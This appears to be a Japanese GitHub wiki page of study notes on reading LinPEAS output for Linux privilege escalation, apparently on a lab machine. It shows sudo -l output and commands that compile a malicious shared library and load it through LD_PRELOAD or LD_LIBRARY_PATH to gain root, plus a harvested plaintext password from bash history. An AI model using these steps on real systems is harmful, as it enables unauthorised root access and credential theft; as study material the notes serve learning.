Linpeaseあれこれ - yokohama/oreshic-record GitHub Wiki
- env_keep+=LDPRELOADがついている
- さらに、sudo -lで、sudoの登録が確認できる
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.htm
l#sudo-and-suid
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim- また、Linpeasを使用せずとも、以下のコマンドでも確認ができる。
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano上記コマンド実行の際に、悪意あるso_を読み込ませて、root昇格ができる。
gcc -fPIC -shared -nostartfiles -o ./preload.so ./preload.c
sudo LD_PRELOAD=./preload.so find
(root) #LDD(List Dynamic Dependencies: 動的ライブラリのハイジャック)を狙う。
- env_keep+=LD_LIBRARY_PATHがついている
- さらに、sudo -lで、共有ライブラリを参照しているコマンドがある。
例:
apache2, nginx, sshd, cron, crond, rsyslogd- 対象のコマンドが動的に読み込んでいるライブラリ一覧を確認
ldd /usr/sbin/apache2上記コマンド実行の際に、悪意あるso_を読み込ませて、root昇格ができる。
gcc -fPIC -shared -o ./libcrypt.so.1 ./library_path.c
sudo LD_LIBRARY_PATH=./libcrypt.so.1 apache2
(root) #linpeasの以下の部分も確認ポイント
╔══════════╣ Searching passwords in history files
/home/user/.bash_history:mysql -h somehost.local -uroot -ppassword123priv